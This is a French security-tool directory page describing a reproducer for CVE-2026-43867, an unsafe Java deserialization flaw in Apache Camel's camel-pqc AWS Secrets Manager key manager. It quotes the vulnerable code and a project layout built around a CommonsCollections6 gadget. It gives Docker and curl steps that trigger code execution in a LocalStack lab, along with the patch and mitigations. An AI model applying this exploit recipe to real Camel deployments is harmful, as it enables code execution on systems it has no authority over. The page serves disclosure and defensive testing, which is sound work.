Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-43867 — Reproducteur pour CVE-2026-43867 — Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager désérialisation non sécurisée des métadonnées de clé (RCE) | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-43867
Analyse des VulnérabilitésAnalyse de CodeExploitationSécurité CloudExploitation de Binaires
GitHuboscerd/cve-2026-43867

CVE-2026-43867

Reproducteur pour CVE-2026-43867 — Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager désérialisation non sécurisée des métadonnées de clé (RCE)

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

camel-pqc — Reproducteur de la désérialisation non sécurisée des métadonnées de clés AWS Secrets Manager (CVE-2026-43867)

Ce projet démontre une vulnérabilité de désérialisation Java dans le composant camel-pqc d'Apache Camel, suivie sous la référence CVE-2026-43867. AwsSecretsManagerKeyLifecycleManager.deserializeMetadata() relit les métadonnées de clés post-quantiques persistées depuis un secret AWS Secrets Manager en décodant en Base64 la valeur stockée puis en la désérialisant avec un java.io.ObjectInputStream.readObject() brut et sans ObjectInputFilter — le cast vers KeyMetadata n'a lieu qu'après le retour de readObject(), si bien que tous les effets de bord de readObject() s'exécutent d'abord. Un principal qui peut écrire dans ce secret (secretsmanager:PutSecretValue) peut y stocker un objet sérialisé contrefait qui sera désérialisé lors des opérations normales du cycle de vie des clés, ce qui peut mener à une exécution de code.

Avis de sécurité : https://camel.apache.org/security/CVE-2026-43867.html

Résumé de la vulnérabilité

Même défaut que CVE-2026-46590 (signalé indépendamment ; cet avis couvre également le gestionnaire HashiCorp Vault et les gestionnaires frères à base de fichiers), et une correction incomplète faisant suite à CVE-2026-40048 (CAMEL-23200), qui a remplacé FileBasedKeyLifecycleManager par un format JSON/PKCS#8/X.509 mais n'a pas ajouté d'ObjectInputFilter et n'a pas couvert les gestionnaires AWS/Vault.

Détails techniques

root@kitploit:~
// AwsSecretsManagerKeyLifecycleManager - affected 4.18.2
private KeyMetadata deserializeMetadata(String base64) throws Exception {
    byte[] data = Base64.getDecoder().decode(base64);
    ByteArrayInputStream bais = new ByteArrayInputStream(data);
    try (ObjectInputStream ois = new ObjectInputStream(bais)) {   // NO ObjectInputFilter
        return (KeyMetadata) ois.readObject();                    // gadget fires here, before the cast
    }
}

getKeyMetadata(keyId) lit le secret nommé <keyPrefix>/<keyId>/metadata, analyse son enveloppe JSON ({"metadata":"<base64>","keyId":...,"algorithm":...}) et transmet le champ metadata à deserializeMetadata. Le correctif (4.18.3 / 4.21.0) introduit un KeyMetadataCodec partagé qui stocke les métadonnées au format JSON pour tous les gestionnaires et contraint les lectures ObjectInputStream historiques restantes à l'aide d'une liste d'autorisation ObjectInputFilter.

Attaquant vs victime

La victime est l'application qui gère les clés PQC avec le gestionnaire AWS. L'attaquant est tout principal qui peut écrire le secret de métadonnées (secretsmanager:PutSecretValue). Cette preuve de concept utilise LocalStack pour émuler AWS Secrets Manager ; le point d'accès /exploit/attack écrit un secret de métadonnées contrefait puis déclenche le chemin de lecture du gestionnaire.

root@kitploit:~
CVE-2026-43867/
├── pom.xml                 # camel-pqc 4.18.2 + aws-sdk secretsmanager 2.41.28 + commons-collections 3.2.1
├── Dockerfile              # runs the app (--add-opens for gadget build)
├── docker-compose.yml      # LocalStack (Secrets Manager) + the reproducer app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Gadget.java             # CommonsCollections6 gadget, fires during readObject()
    │   └── ExploitController.java  # writes the crafted secret, then calls getKeyMetadata()
    └── resources/
        └── application.properties

Dans une attaque réelle, les octets sérialisés sont produits hors ligne par l'attaquant (par exemple avec ysoserial). Cette preuve de concept construit le gadget dans le processus, c'est pourquoi la JVM est lancée avec --add-opens java.base/java.util=ALL-UNNAMED — un détail de construction du gadget, sans rapport avec la vulnérabilité.

Prérequis

  • Java 17+ et Maven 3.8+
  • Docker (exécute LocalStack et l'application)

Étapes de reproduction

Étape 1 : Compiler et démarrer le tout

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Ceci démarre LocalStack (émulant AWS Secrets Manager) et l'application de reproduction, qui pointe son AwsSecretsManagerKeyLifecycleManager vers LocalStack via le remplacement du point de terminaison (endpoint override).

Étape 2 : Déclencher la désérialisation (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Wrote crafted serialized metadata to AWS Secrets Manager secret 'pqc/keys/victim-key/metadata'.
#    getKeyMetadata() threw java.lang.ClassCastException  (expected — the gadget runs during readObject ...)
#
#    >>> RCE proof — /tmp/pwned exists: true

Étape 3 : Vérifier

root@kitploit:~
docker exec cve-2026-43867 ls -la /tmp/pwned

Nettoyage

root@kitploit:~
docker compose down

Vecteurs d'attaque

Toute application utilisant AwsSecretsManagerKeyLifecycleManager dont le secret de métadonnées de clés peut être écrit par une entité autre que l'identité de confiance de l'application elle-même. La désérialisation s'exécute pendant les opérations courantes du cycle de vie des clés (getKeyMetadata, loadExistingKeys, listKeys, vérifications de rotation, …).

Conditions d'exploitation

  1. Une application utilisant AwsSecretsManagerKeyLifecycleManager de camel-pqc sur une version concernée.
  2. L'attaquant peut écrire le secret de métadonnées (secretsmanager:PutSecretValue sur celui-ci).
  3. Une bibliothèque de gadgets dans le classpath (ici commons-collections:3.2.1).

Correctif recommandé

Mettez à niveau vers 4.18.3 / 4.21.0 (CAMEL-23726). Les métadonnées sont stockées au format JSON et toutes les lectures ObjectInputStream historiques restantes sont contraintes par une liste d'autorisation ObjectInputFilter.

Mesures d'atténuation

En attendant la mise à niveau :

  1. Restreignez secretsmanager:PutSecretValue sur le secret de métadonnées camel-pqc à l'identité propre de l'application (IAM au moindre privilège).
  2. Conservez le matériel de clés PQC dans un secret séparé de toute donnée que des principaux moins fiables peuvent écrire.
  3. Supprimez les bibliothèques de gadgets du classpath (mettez à niveau ou supprimez commons-collections 3.x et équivalents).

Avertissement

Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil
PropertyValue
Composantcamel-pqc (AwsSecretsManagerKeyLifecycleManager)
Classe concernéeorg.apache.camel.component.pqc.lifecycle.AwsSecretsManagerKeyLifecycleManager#deserializeMetadata
CWECWE-502 : Désérialisation de données non fiables
ImpactExécution de code dans l'application de gestion des clés (nécessite un accès en écriture au secret de métadonnées)
Versions concernéesDe 4.18.0 à 4.18.3 exclu, de 4.19.0 à 4.21.0 exclu
Versions corrigées4.18.3, 4.21.0 (camel-pqc n'est pas sur la ligne LTS 4.14.x)
JIRACAMEL-23726
Signalé parVenkatraman Kumar (Securin)